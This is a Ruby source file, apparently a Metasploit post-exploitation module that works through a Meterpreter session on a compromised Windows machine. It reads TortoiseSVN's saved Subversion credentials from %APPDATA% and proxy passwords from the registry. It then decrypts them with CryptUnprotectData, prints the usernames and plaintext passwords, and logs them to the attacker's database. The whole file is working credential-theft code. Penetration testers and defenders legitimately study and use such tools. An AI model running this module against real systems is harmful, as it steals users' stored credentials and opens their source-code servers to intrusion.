require 'msf/core'
require 'rex'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'base64'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Priv
	include Msf::Post::Windows::Registry
	include Msf::Auxiliary::Report

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather TortoiseSVN Saved Password Extraction',
				'Description'   => %q{
					This module extracts and decrypts saved TortoiseSVN passwords.  In
					order for decryption to be successful this module must be executed
					under the same privileges as the user which originally encrypted the
					password.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Justin Cacak'],
				'Platform'      => [ 'windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
	end
	
	def prepare_railgun
		rg = session.railgun
		if (!rg.get_dll('crypt32'))
			rg.add_dll('crypt32')
		end
	end

	def decrypt_password(data)
		rg = session.railgun
		pid = client.sys.process.getpid
		process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

		mem = process.memory.allocate(128)
		process.memory.write(mem, data)

		if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
			addr = [mem].pack("V")
			len = [data.length].pack("V")
			ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
			#print_status("#{ret.inspect}")
			len, addr = ret["pDataOut"].unpack("V2")
		else
			addr = [mem].pack("Q")
			len = [data.length].pack("Q")
			ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
			len, addr = ret["pDataOut"].unpack("Q2")
		end

		return "" if len == 0
		decrypted_pw = process.memory.read(addr, len)
		return decrypted_pw
	end

	def get_proxy_data
		# Check if user proxy setting are utilized
		@key_base = "HKCU\\Software\\TortoiseSVN\\Servers\\global\\"
		http_proxy_password = registry_getvaldata("#{@key_base}", 'http-proxy-password')
		
		if http_proxy_password == nil
			return
		else
			# A proxy with password is utilized, gather details
			print_good("HTTP Proxy Settings")
			http_proxy_username= registry_getvaldata("#{@key_base}", 'http-proxy-username')
			http_proxy_host = registry_getvaldata("#{@key_base}", 'http-proxy-host')
			http_proxy_port = registry_getvaldata("#{@key_base}", 'http-proxy-port')
			
			# Output results to screen
			print_status("     Host: #{http_proxy_host}")
			print_status("     Port: #{http_proxy_port}")
			print_status("     Username: #{http_proxy_username}")
			print_status("     Password: #{http_proxy_password}")
			print_status("")
		end
		
		# Report proxy creds
		if session.db_record
			source_id = session.db_record.id
		else
			source_id = nil
		end
		report_auth_info(
		:host  => Rex::Socket.resolv(http_proxy_host), # TODO: Fix up report_host?
		:port => http_proxy_port,
		:sname => "http",
		:source_id => source_id,
		:source_type => "exploit",
		:user => http_proxy_username,
		:pass => http_proxy_password)
	end		
	
	def get_config_files
		# Determine if TortoiseSVN is installed and parse config files
		savedpwds = 0
		user_appdata = session.fs.file.expand_path("%APPDATA%")
		path = user_appdata + '\\Subversion\\auth\\svn.simple\\'
		print_status("Checking for configuration files in: #{path}")

		begin
			session.fs.dir.foreach(path) do |file_name|
				next if file_name == "." or file_name == ".."
				savedpwds = analyze_file(path+file_name)
			end
		rescue => e
			print_error "Exception raised: #{e.message}"
			print_status("No configuration files located: TortoiseSVN may not be installed or configured.") 
			return
		end
	
		if savedpwds == 0
			print_status("No configuration files located")
		end
			
	end
	
	def analyze_file(filename)
		config = client.fs.file.new(filename, 'r')
		contents = config.read
		config_lines = contents.split("\n")
		
		print_good("Account Found:")
		line_num = 0

		for line in config_lines
			line.chomp
			line_num += 1
			if line_num == 8
				enc_password = Base64.decode64(line)
				password = decrypt_password(enc_password)
			elsif line_num == 12
				if line.match(/<(.*)>.(.*)/)
					# Parse for output
					url = $1
					realm = $2
					realm.gsub! "\r", ""   #Remove \r (not common)
					if line.match(/<(.*):\/\/(.*):(.*)>/)
						# Parse for reporting
						sname = $1
						host = $2
						portnum = $3
						portnum.gsub! "\r", ""   #Remove \r (not common)
					end			
				else
					url = "<Unknown/Error>"				
				end
			elsif line_num == 16
				user_name = line
				user_name.gsub! "\r", ""  #Remove \r (not common)
			end
		end
		config.close
		
		#Handle null values or errors
		if user_name == nil
			user_name = "<Unknown/Error>"
		end
		
		# Output results to screen
		print_status("     URL: #{url}")
		print_status("     Realm: #{realm}")
		print_status("     User Name: #{user_name}")
		print_status("     Password: #{password}")
		print_status("")
		
		# Report
		if session.db_record
			source_id = session.db_record.id
		else
			source_id = nil
		end
		report_auth_info(
		:host  => ::Rex::Socket.resolv_to_dotted(host), # XXX: Workaround for unresolved hostnames
		:port => portnum,
		:sname => sname,
		:source_id => source_id,
		:source_type => "exploit",
		:user => user_name,
		:pass => password)
		print_debug "Should have reported..."
		
		# Set savedpwds to 1 on return
		return 1 
	end
	
	def run
		# Get uid.  Decryption will only work if executed under the same user account as the password was encrypted.
		uid = session.sys.config.getuid     

		if is_system?
			print_error("This module is running under #{uid}.")
			print_error("Automatic decryption will not be possible.")
			print_error("Manually migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
		else
			print_status("Searching for TortoiseSVN...")
			prepare_railgun
			get_config_files()
			get_proxy_data()
		end

		print_status("Complete")
	end
	
end